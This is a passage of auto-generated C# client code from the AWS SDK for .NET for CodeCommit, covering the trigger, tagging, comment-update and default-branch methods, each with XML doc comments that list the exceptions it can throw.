cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerBranchNameException"> /// One or more branch names specified for the trigger is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerCustomDataException"> /// The custom data provided for the trigger is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerDestinationArnException"> /// The Amazon Resource Name (ARN) for the trigger is not valid for the specified destination. /// The most common reason for this error is that the ARN does not meet the requirements /// for the service type. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerEventsException"> /// One or more events specified for the trigger is not valid. Check to make sure that /// all events specified match the requirements for allowed events. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerNameException"> /// The name of the trigger is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerRegionException"> /// The region for the trigger target does not match the region for the repository. Triggers /// must be created in the same region as the target for the trigger. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumBranchesExceededException"> /// The number of branches for the trigger was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumRepositoryTriggersExceededException"> /// The number of triggers allowed for the repository was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerBranchNameListRequiredException"> /// At least one branch name is required but was not specified in the trigger configuration. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerDestinationArnRequiredException"> /// A destination ARN for the target service for the trigger is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerEventsListRequiredException"> /// At least one event for the trigger is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerNameRequiredException"> /// A name for the trigger is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggersListRequiredException"> /// The list of triggers for the repository is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PutRepositoryTriggers">REST API Reference for PutRepositoryTriggers Operation</seealso> public virtual PutRepositoryTriggersResponse PutRepositoryTriggers(PutRepositoryTriggersRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = PutRepositoryTriggersRequestMarshaller.Instance; options.ResponseUnmarshaller = PutRepositoryTriggersResponseUnmarshaller.Instance; return Invoke<PutRepositoryTriggersResponse>(request, options); } /// <summary> /// Replaces all triggers for a repository. This can be used to create or delete triggers. /// </summary> /// <param name="request">Container for the necessary parameters to execute the PutRepositoryTriggers service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the PutRepositoryTriggers service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerBranchNameException"> /// One or more branch names specified for the trigger is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerCustomDataException"> /// The custom data provided for the trigger is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerDestinationArnException"> /// The Amazon Resource Name (ARN) for the trigger is not valid for the specified destination. /// The most common reason for this error is that the ARN does not meet the requirements /// for the service type. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerEventsException"> /// One or more events specified for the trigger is not valid. Check to make sure that /// all events specified match the requirements for allowed events. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerNameException"> /// The name of the trigger is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerRegionException"> /// The region for the trigger target does not match the region for the repository. Triggers /// must be created in the same region as the target for the trigger. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumBranchesExceededException"> /// The number of branches for the trigger was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumRepositoryTriggersExceededException"> /// The number of triggers allowed for the repository was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerBranchNameListRequiredException"> /// At least one branch name is required but was not specified in the trigger configuration. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerDestinationArnRequiredException"> /// A destination ARN for the target service for the trigger is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerEventsListRequiredException"> /// At least one event for the trigger is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerNameRequiredException"> /// A name for the trigger is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggersListRequiredException"> /// The list of triggers for the repository is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PutRepositoryTriggers">REST API Reference for PutRepositoryTriggers Operation</seealso> public virtual Task<PutRepositoryTriggersResponse> PutRepositoryTriggersAsync(PutRepositoryTriggersRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = PutRepositoryTriggersRequestMarshaller.Instance; options.ResponseUnmarshaller = PutRepositoryTriggersResponseUnmarshaller.Instance; return InvokeAsync<PutRepositoryTriggersResponse>(request, options, cancellationToken); } #endregion #region TagResource /// <summary> /// Adds or updates tags for a resource in AWS CodeCommit. For a list of valid resources /// in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </summary> /// <param name="request">Container for the necessary parameters to execute the TagResource service method.</param> /// /// <returns>The response from the TagResource service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidResourceArnException"> /// The value for the resource ARN is not valid. For more information about resources /// in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidSystemTagUsageException"> /// The specified tag is not valid. Key names cannot be prefixed with aws:. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTagsMapException"> /// The map of tags is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ResourceArnRequiredException"> /// A valid Amazon Resource Name (ARN) for an AWS CodeCommit resource is required. For /// a list of valid resources in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TagPolicyException"> /// The tag policy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TagsMapRequiredException"> /// A map of tags is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TooManyTagsException"> /// The maximum number of tags for an AWS CodeCommit resource has been exceeded. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TagResource">REST API Reference for TagResource Operation</seealso> public virtual TagResourceResponse TagResource(TagResourceRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = TagResourceRequestMarshaller.Instance; options.ResponseUnmarshaller = TagResourceResponseUnmarshaller.Instance; return Invoke<TagResourceResponse>(request, options); } /// <summary> /// Adds or updates tags for a resource in AWS CodeCommit. For a list of valid resources /// in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </summary> /// <param name="request">Container for the necessary parameters to execute the TagResource service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the TagResource service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidResourceArnException"> /// The value for the resource ARN is not valid. For more information about resources /// in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidSystemTagUsageException"> /// The specified tag is not valid. Key names cannot be prefixed with aws:. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTagsMapException"> /// The map of tags is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ResourceArnRequiredException"> /// A valid Amazon Resource Name (ARN) for an AWS CodeCommit resource is required. For /// a list of valid resources in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TagPolicyException"> /// The tag policy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TagsMapRequiredException"> /// A map of tags is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TooManyTagsException"> /// The maximum number of tags for an AWS CodeCommit resource has been exceeded. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TagResource">REST API Reference for TagResource Operation</seealso> public virtual Task<TagResourceResponse> TagResourceAsync(TagResourceRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = TagResourceRequestMarshaller.Instance; options.ResponseUnmarshaller = TagResourceResponseUnmarshaller.Instance; return InvokeAsync<TagResourceResponse>(request, options, cancellationToken); } #endregion #region TestRepositoryTriggers /// <summary> /// Tests the functionality of repository triggers by sending information to the trigger /// target. If real data is available in the repository, the test will send data from /// the last commit. If no data is available, sample data will be generated. /// </summary> /// <param name="request">Container for the necessary parameters to execute the TestRepositoryTriggers service method.</param> /// /// <returns>The response from the TestRepositoryTriggers service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerBranchNameException"> /// One or more branch names specified for the trigger is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerCustomDataException"> /// The custom data provided for the trigger is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerDestinationArnException"> /// The Amazon Resource Name (ARN) for the trigger is not valid for the specified destination. /// The most common reason for this error is that the ARN does not meet the requirements /// for the service type. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerEventsException"> /// One or more events specified for the trigger is not valid. Check to make sure that /// all events specified match the requirements for allowed events. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerNameException"> /// The name of the trigger is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerRegionException"> /// The region for the trigger target does not match the region for the repository. Triggers /// must be created in the same region as the target for the trigger. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumBranchesExceededException"> /// The number of branches for the trigger was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumRepositoryTriggersExceededException"> /// The number of triggers allowed for the repository was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerBranchNameListRequiredException"> /// At least one branch name is required but was not specified in the trigger configuration. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerDestinationArnRequiredException"> /// A destination ARN for the target service for the trigger is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerEventsListRequiredException"> /// At least one event for the trigger is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerNameRequiredException"> /// A name for the trigger is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggersListRequiredException"> /// The list of triggers for the repository is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TestRepositoryTriggers">REST API Reference for TestRepositoryTriggers Operation</seealso> public virtual TestRepositoryTriggersResponse TestRepositoryTriggers(TestRepositoryTriggersRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = TestRepositoryTriggersRequestMarshaller.Instance; options.ResponseUnmarshaller = TestRepositoryTriggersResponseUnmarshaller.Instance; return Invoke<TestRepositoryTriggersResponse>(request, options); } /// <summary> /// Tests the functionality of repository triggers by sending information to the trigger /// target. If real data is available in the repository, the test will send data from /// the last commit. If no data is available, sample data will be generated. /// </summary> /// <param name="request">Container for the necessary parameters to execute the TestRepositoryTriggers service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the TestRepositoryTriggers service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerBranchNameException"> /// One or more branch names specified for the trigger is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerCustomDataException"> /// The custom data provided for the trigger is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerDestinationArnException"> /// The Amazon Resource Name (ARN) for the trigger is not valid for the specified destination. /// The most common reason for this error is that the ARN does not meet the requirements /// for the service type. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerEventsException"> /// One or more events specified for the trigger is not valid. Check to make sure that /// all events specified match the requirements for allowed events. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerNameException"> /// The name of the trigger is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryTriggerRegionException"> /// The region for the trigger target does not match the region for the repository. Triggers /// must be created in the same region as the target for the trigger. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumBranchesExceededException"> /// The number of branches for the trigger was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumRepositoryTriggersExceededException"> /// The number of triggers allowed for the repository was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerBranchNameListRequiredException"> /// At least one branch name is required but was not specified in the trigger configuration. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerDestinationArnRequiredException"> /// A destination ARN for the target service for the trigger is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerEventsListRequiredException"> /// At least one event for the trigger is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggerNameRequiredException"> /// A name for the trigger is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryTriggersListRequiredException"> /// The list of triggers for the repository is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TestRepositoryTriggers">REST API Reference for TestRepositoryTriggers Operation</seealso> public virtual Task<TestRepositoryTriggersResponse> TestRepositoryTriggersAsync(TestRepositoryTriggersRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = TestRepositoryTriggersRequestMarshaller.Instance; options.ResponseUnmarshaller = TestRepositoryTriggersResponseUnmarshaller.Instance; return InvokeAsync<TestRepositoryTriggersResponse>(request, options, cancellationToken); } #endregion #region UntagResource /// <summary> /// Removes tags for a resource in AWS CodeCommit. For a list of valid resources in AWS /// CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </summary> /// <param name="request">Container for the necessary parameters to execute the UntagResource service method.</param> /// /// <returns>The response from the UntagResource service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidResourceArnException"> /// The value for the resource ARN is not valid. For more information about resources /// in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidSystemTagUsageException"> /// The specified tag is not valid. Key names cannot be prefixed with aws:. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTagKeysListException"> /// The list of tags is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ResourceArnRequiredException"> /// A valid Amazon Resource Name (ARN) for an AWS CodeCommit resource is required. For /// a list of valid resources in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TagKeysListRequiredException"> /// A list of tag keys is required. The list cannot be empty or null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TagPolicyException"> /// The tag policy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TooManyTagsException"> /// The maximum number of tags for an AWS CodeCommit resource has been exceeded. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UntagResource">REST API Reference for UntagResource Operation</seealso> public virtual UntagResourceResponse UntagResource(UntagResourceRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = UntagResourceRequestMarshaller.Instance; options.ResponseUnmarshaller = UntagResourceResponseUnmarshaller.Instance; return Invoke<UntagResourceResponse>(request, options); } /// <summary> /// Removes tags for a resource in AWS CodeCommit. For a list of valid resources in AWS /// CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </summary> /// <param name="request">Container for the necessary parameters to execute the UntagResource service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the UntagResource service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidResourceArnException"> /// The value for the resource ARN is not valid. For more information about resources /// in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidSystemTagUsageException"> /// The specified tag is not valid. Key names cannot be prefixed with aws:. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTagKeysListException"> /// The list of tags is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ResourceArnRequiredException"> /// A valid Amazon Resource Name (ARN) for an AWS CodeCommit resource is required. For /// a list of valid resources in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TagKeysListRequiredException"> /// A list of tag keys is required. The list cannot be empty or null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TagPolicyException"> /// The tag policy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TooManyTagsException"> /// The maximum number of tags for an AWS CodeCommit resource has been exceeded. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UntagResource">REST API Reference for UntagResource Operation</seealso> public virtual Task<UntagResourceResponse> UntagResourceAsync(UntagResourceRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = UntagResourceRequestMarshaller.Instance; options.ResponseUnmarshaller = UntagResourceResponseUnmarshaller.Instance; return InvokeAsync<UntagResourceResponse>(request, options, cancellationToken); } #endregion #region UpdateComment /// <summary> /// Replaces the contents of a comment. /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdateComment service method.</param> /// /// <returns>The response from the UpdateComment service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommentContentRequiredException"> /// The comment is empty. You must provide some content for a comment. The content cannot /// be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentSizeLimitExceededException"> /// The comment is too large. Comments are limited to 1,000 characters. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentDeletedException"> /// This comment has already been deleted. You cannot edit or delete a deleted comment. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentDoesNotExistException"> /// No comment exists with the provided ID. Verify that you have provided the correct /// ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentIdRequiredException"> /// The comment ID is missing or null. A comment ID is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentNotCreatedByCallerException"> /// You cannot modify or delete this comment. Only comment authors can modify or delete /// their comments. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommentIdException"> /// The comment ID is not in a valid format. Make sure that you have provided the full /// comment ID. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateComment">REST API Reference for UpdateComment Operation</seealso> public virtual UpdateCommentResponse UpdateComment(UpdateCommentRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = UpdateCommentRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdateCommentResponseUnmarshaller.Instance; return Invoke<UpdateCommentResponse>(request, options); } /// <summary> /// Replaces the contents of a comment. /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdateComment service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the UpdateComment service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommentContentRequiredException"> /// The comment is empty. You must provide some content for a comment. The content cannot /// be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentSizeLimitExceededException"> /// The comment is too large. Comments are limited to 1,000 characters. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentDeletedException"> /// This comment has already been deleted. You cannot edit or delete a deleted comment. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentDoesNotExistException"> /// No comment exists with the provided ID. Verify that you have provided the correct /// ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentIdRequiredException"> /// The comment ID is missing or null. A comment ID is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentNotCreatedByCallerException"> /// You cannot modify or delete this comment. Only comment authors can modify or delete /// their comments. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommentIdException"> /// The comment ID is not in a valid format. Make sure that you have provided the full /// comment ID. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateComment">REST API Reference for UpdateComment Operation</seealso> public virtual Task<UpdateCommentResponse> UpdateCommentAsync(UpdateCommentRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = UpdateCommentRequestMarshaller.Instance; options.ResponseUnmarshaller = UpdateCommentResponseUnmarshaller.Instance; return InvokeAsync<UpdateCommentResponse>(request, options, cancellationToken); } #endregion #region UpdateDefaultBranch /// <summary> /// Sets or changes the default branch name for the specified repository. /// /// <note> /// <para> /// If you use this operation to change the default branch name to the current default /// branch name, a success message is returned even though the default branch did not /// change. /// </para> /// </note> /// </summary> /// <param name="request">Container for the necessary parameters to execute the UpdateDefaultBranch service method.</param> /// /// <returns>The response from the UpdateDefaultBranch service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a 